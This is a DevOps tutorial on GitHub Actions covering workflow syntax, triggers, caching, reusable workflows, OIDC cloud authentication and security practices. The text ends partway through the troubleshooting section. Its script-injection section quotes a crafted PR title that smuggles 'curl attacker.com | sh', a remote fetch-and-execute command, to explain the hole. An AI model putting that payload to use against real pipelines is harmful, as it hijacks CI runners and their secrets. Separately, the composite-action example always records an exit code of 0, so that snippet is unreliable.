DevOps Shack

GitHub Actions

Advanced Technical Documentation

End-to-End Setup, Workflows & Best Practices

CI/CD Pipelines | Matrix Builds | OIDC Auth | DevSecOps

20K+	2,000	GA	Free
Marketplace Actions	Free min/month	Since 2019	Public Repos

Aditya Jaiswal

DevOps Engineer & Educator | @devopsshack

devopsshack.com | Version 1.0, March 2026

Table of Contents

1. Introduction 3
2. Overview of GitHub Actions 4
   2.1 Core Concepts & Architecture 4
   2.2 Key Terminology 5
   2.3 GitHub Actions vs Alternatives 6
3. Getting Started 7
   3.1 Prerequisites 7
   3.2 Creating Your First Workflow 7
   3.3 Simple CI Pipeline Example 9
4. Building Workflows — Step-by-Step 11
   4.1 Workflow Syntax Deep Dive 11
   4.2 Triggers (Events) 12
   4.3 Jobs & Steps 14
   4.4 Runners 15
   4.5 Using Actions from the Marketplace 16
   4.6 Passing Data Between Jobs 17
5. Advanced Features 19
   5.1 Matrix Builds 19
   5.2 Caching Dependencies 21
   5.3 Reusable Workflows 23
   5.4 Composite Actions 25
   5.5 Environments & Deployment Protection 27
   5.6 OIDC & Cloud Authentication 28
   5.7 Self-Hosted Runners 30
   5.8 Concurrency Control 32
6. Best Practices 34
7. Troubleshooting 40
8. Conclusion 46
9. References 47

1. Introduction

Modern software development demands speed, reliability, and repeatability. Continuous Integration and Continuous Delivery (CI/CD) pipelines have become the backbone of every high-performing engineering team. GitHub Actions, introduced in 2018 and made generally available in 2019, is GitHub's native automation platform that brings CI/CD — and much more — directly into your repository.

This documentation is designed to be a comprehensive reference and learning guide for developers, DevOps engineers, and platform engineers who want to master GitHub Actions. Whether you are triggering a simple test suite on every pull request, orchestrating multi-cloud deployments, or building sophisticated matrix test grids across dozens of runtime environments, GitHub Actions provides the primitives to accomplish all of it.

Who This Guide Is For

- Developers who want to automate testing and code quality checks on every commit.
- DevOps & Platform Engineers building deployment pipelines to AWS, GCP, Azure, or Kubernetes.
- Security Engineers integrating SAST, DAST, and secrets scanning into the SDLC.
- Tech Leads evaluating GitHub Actions against competing CI/CD platforms.
- Educators and content creators who need a production-grade reference document.

What You Will Learn

1. How GitHub Actions works under the hood — runners, events, jobs, and steps.
2. How to write YAML workflow files from scratch, with real-world examples.
3. Advanced patterns: matrix builds, caching, reusable workflows, composite actions.
4. Secure secrets management and OIDC-based cloud authentication.
5. Self-hosted runners and cost optimisation strategies.
6. Troubleshooting common failures and debugging techniques.

NOTE: All YAML examples in this guide have been tested against the latest GitHub Actions runner version (ubuntu-22.04 / ubuntu-24.04) and reflect features available as of early 2026.

2. Overview of GitHub Actions

GitHub Actions is an event-driven automation platform embedded directly in GitHub. It allows you to define automated workflows that run on GitHub-managed or self-hosted infrastructure. Workflows are triggered by events — a push to a branch, a pull request, a schedule, or an external webhook — and execute a series of jobs that each run on a fresh virtual machine or container.

2.1 Core Concepts & Architecture

The platform is built around five core primitives:

Concept	Description
Workflow	A YAML file stored in .github/workflows/ that defines automation logic.
Event	A trigger (push, pull_request, schedule, workflow_dispatch, etc.) that starts a workflow.
Job	A group of steps that execute on the same runner. Jobs run in parallel by default.
Step	An individual task within a job — either a shell command or a pre-built Action.
Action	A reusable unit of code published to the GitHub Marketplace or defined locally.

Architecture Flow

When an event occurs (e.g., a developer pushes code), GitHub evaluates all workflow files to determine which workflows are triggered. Eligible workflows are queued on the GitHub Actions service, which then allocates a runner (virtual machine) for each job. The runner checks out the repository, downloads required Actions, and executes steps sequentially. Upon completion, logs, artefacts, and exit codes are reported back to GitHub.

2.2 Key Terminology

Term	Meaning
Runner	The machine (hosted or self-hosted) that executes workflow jobs.
Artefact	Files produced by a workflow (binaries, test reports, coverage files).

Secret	Encrypted environment variable stored at repo, org, or environment level.
Environment	A named deployment target with optional protection rules and reviewers.
Expression	A runtime-evaluated string using ${{ }} syntax for context access.
Context	JSON objects (github, env, secrets, needs, etc.) available during execution.
Composite Action	An Action built from multiple steps, packaged for reuse.
Reusable Workflow	A full workflow file that can be called by other workflows.
Matrix Strategy	A mechanism to run a job across multiple variable combinations.
OIDC Token	A short-lived credential for keyless cloud authentication.

2.3 GitHub Actions vs Alternatives

Feature	GitHub Actions	Jenkins	GitLab CI	CircleCI
Setup effort	Zero (built-in)	High	Low	Low
YAML-based	Yes	Groovy/YAML	Yes	Yes
Free tier	2,000 min/month	Self-hosted only	400 min/month	6,000 min/month
Marketplace	16,000+ Actions	2,000+ plugins	Moderate	Orbs library
OIDC support	Native	Plugin required	Native	Native
Matrix builds	Native	Parameterized	Native	Native
Self-hosted	Yes	Yes	Yes	Yes

TIP: GitHub Actions is free for public repositories with no minute cap. Private repositories receive 2,000 minutes/month on the Free plan, 3,000 on Pro, and 50,000 on Enterprise.

3. Getting Started

3.1 Prerequisites

Before creating your first workflow, ensure the following:

- **A GitHub repository:** Public or private. GitHub Actions is available on all plans.
- **Repository permissions:** You need write access to create files in .github/workflows/.
- **Actions enabled:** Go to Settings > Actions > General and ensure Actions are enabled.
- **Basic YAML knowledge:** Workflows are written in YAML 1.2. Indentation must use spaces, not tabs.

3.2 Creating Your First Workflow

Workflows live in the .github/workflows/ directory of your repository. Each file is a separate workflow. The file name becomes the workflow name by default, but you can override it with the name: key.

Step 1 — Create the directory structure:

```
mkdir -p .github/workflows
touch .github/workflows/ci.yml
```

Step 2 — Write your first workflow:

```
# .github/workflows/ci.yml
name: CI Pipeline

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  build-and-test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout source code
        uses: actions/checkout@v4

      - name: Set up Node.js
        uses: actions/setup-node@v4
        with:
```

```
          node-version: '20'

      - name: Install dependencies
        run: npm ci

      - name: Run tests
        run: npm test

      - name: Build application
        run: npm run build
```

Step 3 — Commit and push:

```
git add .github/workflows/ci.yml
git commit -m 'ci: add initial GitHub Actions workflow'
git push origin main
```

Once pushed, navigate to your repository on GitHub and click the Actions tab. You will see your workflow run appear within seconds.

3.3 Simple CI/CD Pipeline Example

The following example demonstrates a complete Node.js CI/CD pipeline that installs dependencies, runs tests, builds a Docker image, and pushes it to Amazon ECR — a common pattern used in production environments.

```
# .github/workflows/cicd.yml
name: CI/CD Pipeline

on:
  push:
    branches: [ main ]

env:
  AWS_REGION: ap-south-1
  ECR_REPOSITORY: my-app
  IMAGE_TAG: ${{ github.sha }}

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'
      - run: npm ci
```

```
      - run: npm test -- --coverage
      - name: Upload coverage report
        uses: actions/upload-artifact@v4
        with:
          name: coverage-report
          path: coverage/

  build-and-push:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@v4
      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::585593375370:role/GitHubActionsRole
          aws-region: ${{ env.AWS_REGION }}
      - name: Login to Amazon ECR
        id: login-ecr
        uses: aws-actions/amazon-ecr-login@v2
      - name: Build, tag, and push Docker image
        run: |
          docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG .
          docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG
        env:
          ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }}
```

KEY INSIGHT: The needs: test directive ensures the build-and-push job only runs after the test job succeeds. This prevents broken code from reaching your container registry.

4. Building Workflows — Step-by-Step

4.1 Workflow Syntax Deep Dive

A GitHub Actions workflow file has the following top-level keys:

Key	Required	Description
name	No	Human-readable name displayed in the Actions UI.
on	Yes	Event(s) that trigger the workflow.
env	No	Workflow-level environment variables available to all jobs.
defaults	No	Default settings for all run steps (shell, working-directory).
concurrency	No	Prevents duplicate workflow runs.
permissions	No	GitHub token permission overrides.
jobs	Yes	Map of job IDs to job definitions.

4.2 Triggers (Events)

The on: key accepts a single event, a list of events, or a map of events with configuration. Here are the most important trigger types:

Push & Pull Request Triggers

```
on:
  push:
    branches:
      - main
      - 'release/**'   # glob patterns supported
    paths:
      - 'src/**'       # only trigger when src/ changes
      - '!src/**/*.md' # exclude markdown files
    tags:
      - 'v[0-9]+.[0-9]+.[0-9]+'
  pull_request:
    branches: [ main ]
    types: [ opened, synchronize, reopened ]
```

Schedule Trigger (Cron)

```
on:
  schedule:
    - cron: '0 2 * * 1-5'   # Every weekday at 2:00 AM UTC
    - cron: '0 8 * * 0'     # Every Sunday at 8:00 AM UTC
```

Manual Trigger with Inputs

```
on:
  workflow_dispatch:
    inputs:
      environment:
        description: 'Target deployment environment'
        required: true
        type: choice
        options: [ dev, staging, production ]
      debug_enabled:
        description: 'Enable debug logging'
        required: false
        type: boolean
        default: false
      version:
        description: 'Version tag to deploy'
        required: true
        type: string
```

Repository Dispatch (External Trigger)

```
# Workflow definition
on:
  repository_dispatch:
    types: [ deploy-triggered ]

# Trigger from external system via API
# curl -X POST \
#   -H 'Authorization: token YOUR_TOKEN' \
#   -H 'Accept: application/vnd.github.v3+json' \
#   https://api.github.com/repos/OWNER/REPO/dispatches \
#   -d '{"event_type":"deploy-triggered","client_payload":{"ref":"v1.2.3"}}'
```

Complete Event Reference

Event	Description
push	Triggered on git push (commits or tags).
pull_request	Triggered when a PR is opened, updated, or closed.
pull_request_target	Like pull_request but has write access; use carefully.
workflow_dispatch	Manual trigger with optional inputs.

schedule	Cron-based trigger.
release	Triggered when a GitHub Release is created/published.
workflow_call	Makes a workflow callable by other workflows.
repository_dispatch	Triggered via GitHub REST API.
workflow_run	Triggered when another workflow completes.
create / delete	Triggered when a branch or tag is created/deleted.
deployment	Triggered when a deployment is created.
issue_comment	Triggered when an issue or PR comment is created.

4.3 Jobs & Steps

A job is a collection of steps that execute sequentially on the same runner. By default, all jobs in a workflow run in parallel. Use needs: to define dependencies.

```
jobs:
  # Job 1 – runs first
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

  # Job 2 – runs first (parallel with lint)
  unit-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

  # Job 3 – waits for both lint and unit-tests
  build:
    needs: [ lint, unit-tests ]
    runs-on: ubuntu-latest
    if: ${{ always() && !contains(needs.*.result, 'failure') }}
    steps:
      - uses: actions/checkout@v4
      - run: npm run build
```

Step Types

A step can be one of two types:

- **uses:** Calls a pre-built Action from the Marketplace, a local path, or a Docker image.
- **run:** Executes a shell command (bash by default on Linux/macOS, pwsh on Windows).

```
steps:
  - name: Checkout code
    uses: actions/checkout@v4          # uses a Marketplace Action

  - name: Print git log
    run: git log --oneline -10         # runs a shell command

  - name: Multi-line script
    run: |
      echo 'Starting build...'
      npm ci
      npm run build
      echo 'Build complete!'

  - name: Set output variable
    id: version
    run: echo "tag=$(git describe --tags)" >> $GITHUB_OUTPUT

  - name: Use the output
    run: echo 'Tag is ${{ steps.version.outputs.tag }}'
```

4.4 Runners

GitHub provides hosted runners for Linux, macOS, and Windows. You can also attach your own self-hosted runners for specialised hardware or cost savings.

Runner Label	OS	vCPUs	RAM	Storage
ubuntu-latest / ubuntu-24.04	Ubuntu 24.04 LTS	4	16 GB	14 GB SSD
ubuntu-22.04	Ubuntu 22.04 LTS	4	16 GB	14 GB SSD
windows-latest / windows-2022	Windows Server 2022	4	16 GB	14 GB SSD
macos-latest / macos-14	macOS 14 (Sonoma)	3	7 GB	14 GB SSD
macos-13	macOS 13 (Ventura)	4	14 GB	14 GB SSD

COST TIP: macOS runners consume 10x the minutes of Linux runners. Prefer ubuntu-latest for all platform-agnostic tasks to reduce CI costs significantly.

4.5 Using Actions from the Marketplace

Actions are the reusable building blocks of GitHub Actions. They are referenced using the owner/repo@ref syntax. Always pin to a specific version or SHA for security and reproducibility.

```
steps:
  # Pinned to major version (recommended for trusted actions)
  - uses: actions/checkout@v4

  # Pinned to exact version (most stable)
  - uses: actions/setup-node@v4.0.2

  # Pinned to full commit SHA (most secure — immune to tag mutation)
  - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f

  # Docker-based action
  - uses: docker://alpine:3.19

  # Local action in the same repo
  - uses: ./.github/actions/my-custom-action
```

Essential Marketplace Actions to know:

Action	Purpose
actions/checkout@v4	Clone the repository into the runner workspace.
actions/setup-node@v4	Install a specific Node.js version with optional caching.
actions/setup-python@v5	Install a specific Python version.
actions/setup-java@v4	Install a Java JDK (Temurin, Zulu, etc.).
actions/cache@v4	Cache files between workflow runs.
actions/upload-artifact@v4	Upload files as workflow artefacts.
actions/download-artifact@v4	Download artefacts within the same workflow.
aws-actions/configure-aws-credentials@v4	Configure AWS credentials via OIDC or keys.
docker/build-push-action@v5	Build and push Docker images.
hashicorp/setup-terraform@v3	Install and configure Terraform.
github/codeql-action/analyze@v3	Run CodeQL security analysis.

4.6 Passing Data Between Jobs

Because each job runs on a fresh runner, you must use explicit mechanisms to share data between jobs.

Method 1 — Job Outputs

```
jobs:
  generate-version:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.set-version.outputs.version }}
    steps:
      - id: set-version
        run: echo "version=1.$(date +%Y%m%d).${GITHUB_RUN_NUMBER}" >>
$GITHUB_OUTPUT

  deploy:
    needs: generate-version
    runs-on: ubuntu-latest
    steps:
      - run: echo 'Deploying version ${{ needs.generate-version.outputs.version
}}'
```

Method 2 — Artefacts

```
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: dist-files
          path: dist/
          retention-days: 7

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist-files
          path: dist/
      - run: ls -la dist/
```

5. Advanced Features

5.1 Matrix Builds

Matrix builds let you run a job across multiple variable combinations simultaneously. This is invaluable for testing across multiple Node.js versions, operating systems, or database backends without duplicating workflow code.

Basic Matrix

```
jobs:
  test-matrix:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ ubuntu-latest, windows-latest, macos-latest ]
        node: [ 18, 20, 22 ]
      # Creates 3 × 3 = 9 parallel jobs
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: npm ci && npm test
```

Advanced Matrix with Exclusions & Inclusions

```
strategy:
  fail-fast: false      # Continue other matrix jobs even if one fails
  max-parallel: 4       # Run at most 4 jobs at once
  matrix:
    os: [ ubuntu-latest, windows-latest ]
    python: [ '3.10', '3.11', '3.12' ]
    exclude:
      - os: windows-latest
        python: '3.10'   # Skip this specific combination
    include:
      - os: ubuntu-latest
        python: '3.12'
        experimental: true  # Add extra variable to specific combo
```

Dynamic Matrix from Script

```
jobs:
  generate-matrix:
```

```
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - id: set-matrix
        run: |
          SERVICES=$(ls services/ | jq -R -s -c 'split(" ")[:-1]')
          echo "matrix={\"service\":${SERVICES}}" >> $GITHUB_OUTPUT

  build-service:
    needs: generate-matrix
    runs-on: ubuntu-latest
    strategy:
      matrix: ${{ fromJson(needs.generate-matrix.outputs.matrix) }}
    steps:
      - run: echo 'Building ${{ matrix.service }}'
```

5.2 Caching Dependencies

Caching is one of the most impactful optimisations you can make to workflow speed. The actions/cache action saves and restores directories between workflow runs based on a cache key.

Node.js npm Cache

```
- name: Cache npm dependencies
  uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-npm-

- run: npm ci
```

Python pip Cache

```
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'
    cache: 'pip'          # Built-in cache shorthand

# Or manually with actions/cache:
- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: ${{ runner.os }}-pip-
```

Docker Layer Cache

```
- name: Set up Docker Buildx
  uses: docker/setup-buildx-action@v3

- name: Build with cache
  uses: docker/build-push-action@v5
  with:
    context: .
    push: true
    tags: my-app:latest
    cache-from: type=gha          # Use GitHub Actions cache
    cache-to: type=gha,mode=max   # Store all layers
```

Gradle / Maven Cache

```
# Gradle
- uses: actions/cache@v4
  with:
    path: |
      ~/.gradle/caches
      ~/.gradle/wrapper
    key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-
wrapper.properties') }}

# Maven
- uses: actions/cache@v4
  with:
    path: ~/.m2
    key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}
```

CACHE STRATEGY: Use a precise key (with a hash) to ensure cache invalidation on lockfile changes. Add restore-keys as a fallback to get a partial cache hit when the exact key doesn't match, which is still faster than a cold install.

5.3 Reusable Workflows

Reusable workflows allow you to define a workflow once and call it from multiple other workflows — effectively creating CI/CD templates across repositories in your organisation.

Defining a Reusable Workflow

```
# .github/workflows/deploy-template.yml
name: Deploy Template
```

```
on:
  workflow_call:
    inputs:
      environment:
        required: true
        type: string
      image_tag:
        required: true
        type: string
    secrets:
      KUBE_CONFIG:
        required: true
    outputs:
      deployment_url:
        description: 'URL of the deployed application'
        value: ${{ jobs.deploy.outputs.url }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    outputs:
      url: ${{ steps.get-url.outputs.url }}
    steps:
      - name: Deploy to Kubernetes
        env:
          KUBECONFIG_DATA: ${{ secrets.KUBE_CONFIG }}
        run: |
          echo $KUBECONFIG_DATA | base64 -d > kubeconfig.yml
          kubectl --kubeconfig kubeconfig.yml set image \
            deployment/app app=myrepo/app:${{ inputs.image_tag }}
```

Calling the Reusable Workflow

```
# .github/workflows/production-deploy.yml
name: Production Deploy

on:
  push:
    branches: [ main ]

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image_tag: ${{ steps.tag.outputs.tag }}
    steps:
      - uses: actions/checkout@v4
      - id: tag
        run: echo "tag=${GITHUB_SHA::8}" >> $GITHUB_OUTPUT
      - run: docker build -t myrepo/app:${{ steps.tag.outputs.tag }} .

  deploy-production:
```

```
    needs: build
    uses: myorg/shared-workflows/.github/workflows/deploy-template.yml@main
    with:
      environment: production
      image_tag: ${{ needs.build.outputs.image_tag }}
    secrets:
      KUBE_CONFIG: ${{ secrets.PROD_KUBE_CONFIG }}
```

5.4 Composite Actions

Composite Actions bundle multiple steps into a reusable Action stored inside your repository. Unlike reusable workflows, they run within the calling job — no separate runner is spun up.

```
# .github/actions/setup-and-test/action.yml
name: Setup and Test
description: Install dependencies and run tests

inputs:
  node-version:
    description: 'Node.js version to use'
    default: '20'
  test-command:
    description: 'Custom test command'
    default: 'npm test'

outputs:
  test-exit-code:
    description: 'Exit code from test run'
    value: ${{ steps.test.outputs.exit_code }}

runs:
  using: 'composite'
  steps:
    - uses: actions/setup-node@v4
      with:
        node-version: ${{ inputs.node-version }}
        cache: 'npm'

    - name: Install dependencies
      shell: bash
      run: npm ci

    - name: Run tests
      id: test
      shell: bash
      run: |
        ${{ inputs.test-command }} || true
        echo "exit_code=$?" >> $GITHUB_OUTPUT
```

Usage in a workflow:

```
steps:
  - uses: actions/checkout@v4
  - uses: ./.github/actions/setup-and-test
    with:
      node-version: '22'
      test-command: 'npm run test:ci'
```

5.5 Environments & Deployment Protection Rules

Environments allow you to model deployment targets (dev, staging, production) with protection rules such as required reviewers, wait timers, and allowed branches.

Configuring Environments

Go to Repository Settings > Environments > New environment. Configure:

- Required reviewers: Specific users or teams who must approve before the job runs.
- Wait timer: A delay (0–30 days) before the job begins.
- Deployment branches: Restrict to specific branches or patterns.
- Environment secrets: Secrets scoped to this environment only.

Using Environments in Workflows

```
jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - run: echo 'Deploying to staging...'

  deploy-production:
    needs: deploy-staging
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://myapp.com   # Shown in the GitHub UI
    steps:
      - run: echo 'Deploying to production...'
```

5.6 OIDC & Keyless Cloud Authentication

OpenID Connect (OIDC) allows GitHub Actions to authenticate to cloud providers without storing long-lived credentials as secrets. A short-lived token is exchanged for a cloud provider access token at runtime.

AWS OIDC Setup

Step 1 — Create an IAM Identity Provider in AWS:

```
# Terraform example
resource "aws_iam_openid_connect_provider" "github" {
  url             = "https://token.actions.githubusercontent.com"
  client_id_list  = ["sts.amazonaws.com"]
  thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}

resource "aws_iam_role" "github_actions" {
  name = "GitHubActionsRole"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect    = "Allow"
      Principal = { Federated = aws_iam_openid_connect_provider.github.arn }
      Action    = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = {
          "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
        }
        StringLike = {
          "token.actions.githubusercontent.com:sub" =
            "repo:myorg/myrepo:*"
        }
      }
    }]
  })
}
```

Step 2 — Use in your workflow:

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      id-token: write   # Required for OIDC
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::585593375370:role/GitHubActionsRole
          aws-region: ap-south-1
      - run: aws s3 ls   # Now authenticated!
```

Google Cloud (Workload Identity Federation)

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
```

```
    steps:
      - uses: google-github-actions/auth@v2
        with:
          workload_identity_provider:
projects/123/locations/global/workloadIdentityPools/my-pool/providers/github
          service_account: github-actions@my-project.iam.gserviceaccount.com
      - uses: google-github-actions/setup-gcloud@v2
      - run: gcloud run deploy my-app --image gcr.io/my-project/app:latest
```

5.7 Self-Hosted Runners

Self-hosted runners let you run workflows on your own infrastructure — on-premises servers, EC2 instances, GKE nodes, or Raspberry Pis. This is ideal for accessing private networks, GPU workloads, or reducing per-minute costs.

Setting Up a Self-Hosted Runner

Go to Settings > Actions > Runners > New self-hosted runner. Follow the install instructions, which are essentially:

```
# Download the runner package
mkdir actions-runner && cd actions-runner
curl -o actions-runner-linux-x64-2.315.0.tar.gz -L \
  https://github.com/actions/runner/releases/download/v2.315.0/actions-runner-
linux-x64-2.315.0.tar.gz
tar xzf ./actions-runner-linux-x64-2.315.0.tar.gz

# Configure the runner
./config.sh --url https://github.com/myorg/myrepo \
            --token <TOKEN_FROM_GITHUB_UI>

# Install and start as a service
sudo ./svc.sh install
sudo ./svc.sh start
```

Using a Self-Hosted Runner

```
jobs:
  build-on-prem:
    runs-on: self-hosted           # Use any self-hosted runner
    # OR target by label:
    runs-on: [ self-hosted, linux, gpu ]
    steps:
      - uses: actions/checkout@v4
      - run: nvidia-smi            # GPU is available!
```

Ephemeral Runners with Actions Runner Controller (ARC)

For Kubernetes environments, the Actions Runner Controller (ARC) automatically provisions and scales runner pods on demand, providing fully ephemeral, isolated runners with zero manual management.

```
# Install ARC with Helm
helm install arc \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set-
controller \
  --namespace arc-systems --create-namespace

# Deploy a runner scale set
helm install arc-runner-set \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set \
  --namespace arc-runners --create-namespace \
  --set githubConfigUrl=https://github.com/myorg/myrepo \
  --set githubConfigSecret.github_token=<PAT>
```

5.8 Concurrency Control

The concurrency key prevents redundant workflow runs — for example, cancelling an in-progress deployment when a new commit arrives.

```
# Cancel any in-progress run for the same branch
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

# For deployment workflows: queue instead of cancel
concurrency:
  group: deploy-production
  cancel-in-progress: false   # Wait for current deploy to finish
```

6. Best Practices

6.1 Security Best Practices

Secrets Management

Secrets must never be hardcoded in workflow files or printed to logs. GitHub automatically masks registered secrets in logs, but you must still follow these rules:

- Store all credentials in Settings > Secrets and variables > Actions.
- Use environment-scoped secrets for production credentials — they require environment protection approval.
- Rotate secrets regularly and prefer OIDC over static credentials wherever possible.
- Never echo or print secrets in run: steps — GitHub redacts them but subprocess inheritance may leak them.
- Use the github.event context carefully — PR events from forks run without access to secrets by default.

```
# CORRECT: Use secrets via environment variable
- name: Deploy
  env:
    API_TOKEN: ${{ secrets.API_TOKEN }}
  run: ./deploy.sh

# WRONG: Never do this
- run: curl -H 'Authorization: ${{ secrets.API_TOKEN }}' https://api.example.com
  # The secret appears in the workflow definition — a bad practice
```

Pinning Actions to Commit SHAs

GitHub Actions from third-party authors can be compromised if an attacker mutates a tag. Pin to full commit SHAs in security-sensitive workflows:

```
# Vulnerable — tag can be mutated
- uses: some-vendor/their-action@v3

# Secure — SHA is immutable
- uses: some-vendor/their-action@abc123def456abc123def456abc123def456abc1
```

Minimal Token Permissions

Always declare the minimum permissions required using the permissions: key. Default token permissions should be set to read-only in your organisation settings.

```
permissions:
```

```
  contents: read       # Read repo files
  packages: write      # Push to GitHub Packages
  id-token: write      # OIDC
  pull-requests: write # Comment on PRs
  # Never grant: write at the job level unless specifically needed
```

Preventing Script Injection

Never interpolate github.event context values directly into run: scripts. An attacker can craft a PR title or branch name to inject commands:

```
# VULNERABLE — PR title could be: 'a'; curl attacker.com | sh; echo '
- run: echo '${{ github.event.pull_request.title }}'

# SAFE — pass via environment variable (shell escaping applies)
- run: echo "$PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
```

6.2 Performance Best Practices

Always Use Caching

- Cache package manager downloads (npm, pip, Maven, Gradle, Cargo).
- Cache tool installations (terraform, kubectl, helm, trivy) to avoid repeated downloads.
- Use Docker layer caching with type=gha for all Docker builds.
- Check your workflow's cache hit rate in the Actions UI; aim for >80% on main branch.

Parallelise Aggressively

```
jobs:
  # Run ALL these checks in parallel
  lint:       { runs-on: ubuntu-latest, steps: [{ run: npm run lint }] }
  type-check: { runs-on: ubuntu-latest, steps: [{ run: npm run type-check }] }
  unit-tests: { runs-on: ubuntu-latest, steps: [{ run: npm test }] }
  security:   { runs-on: ubuntu-latest, steps: [{ uses: github/codeql-
action/analyze@v3 }] }

  # Only build after all checks pass
  build:
    needs: [ lint, type-check, unit-tests, security ]
    ...
```

Use Conditional Steps Wisely

```
- name: Run integration tests
  if: github.event_name == 'push' && github.ref == 'refs/heads/main'
```

```
    run: npm run test:integration

  - name: Notify Slack on failure
    if: failure()
    uses: slackapi/slack-github-action@v1
    with:
      payload: '{"text": "Build failed on ${{ github.ref }}"}'
```

6.3 Workflow Organisation Best Practices

File Structure

- One workflow file per logical process (CI, CD, security scan, release).
- Use descriptive file names: ci.yml, deploy-staging.yml, security-scan.yml.
- Put reusable workflows in .github/workflows/ and composite actions in .github/actions/.
- Group related environment variables at the workflow or job level using env:.

Naming Conventions

Element	Convention	Example
Workflow file	kebab-case.yml	deploy-production.yml
Workflow name	Title Case	Deploy to Production
Job ID	kebab-case	build-and-test
Step name	Verb phrase	Install dependencies
Secret name	SCREAMING_SNAKE_CASE	AWS_ACCESS_KEY_ID
Cache key	os-tool-lockfile-hash	ubuntu-npm-abc123
Artefact name	descriptive-kebab	dist-files, test-coverage

Documentation in Workflows

```
# ============================================================
# CI Workflow
# ============================================================
# Triggered on: push to main, PRs targeting main
# Jobs: lint → unit-tests (parallel) → build → docker-push
# Requires secrets: DOCKERHUB_TOKEN
# Avg runtime: ~4 minutes
# ============================================================
name: CI
...
```

6.4 Cost Optimisation

- **Use ubuntu-latest by default:** Linux runners are 10x cheaper than macOS and 2x cheaper than Windows.
- **Cache aggressively:** A cache hit on a 5-minute install step saves minutes and money on every run.
- **Skip CI on doc-only changes:** Use paths-ignore to avoid running tests when only markdown files change.
- **Use concurrency to cancel stale runs:** Don't pay for workflow runs that are already superseded by new commits.
- **Self-host GPU/high-memory jobs:** Use self-hosted runners for specialised workloads that would be extremely expensive on GitHub-hosted runners.
- **Monitor usage:** Check Settings > Billing > GitHub Actions to track monthly minute consumption per repository.

```
# Skip CI for documentation-only changes
on:
  push:
    branches: [ main ]
    paths-ignore:
      - '**.md'
      - 'docs/**'
      - '.github/ISSUE_TEMPLATE/**'
```

6.5 Security Scanning Integration

GitHub Actions is the ideal place to integrate a DevSecOps toolchain. The following demonstrates integrating tools such as Gitleaks (secrets scanning), Trivy (container scanning), and OWASP ZAP (DAST) into a workflow:

```
name: Security Pipeline

on: [ push, pull_request ]

jobs:
  secrets-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
```

```
      - name: SonarQube Scan
        uses: SonarSource/sonarqube-scan-action@v2
        env:
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
          SONAR_HOST_URL: ${{ vars.SONAR_HOST_URL }}

  container-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: docker build -t app:test .
      - name: Trivy container scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: app:test
          format: sarif
          output: trivy-results.sarif
          severity: CRITICAL,HIGH
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: trivy-results.sarif
```

7. Troubleshooting

7.1 Enabling Debug Logging

When a workflow fails and the log doesn't provide enough detail, enable step debug logging and runner diagnostic logging:

- **Step debug logging:** Set the secret ACTIONS_STEP_DEBUG to true. All steps will print verbose output.
- **Runner diagnostic logging:** Set the secret ACTIONS_RUNNER_DEBUG to true. The runner will emit extra diagnostic files.

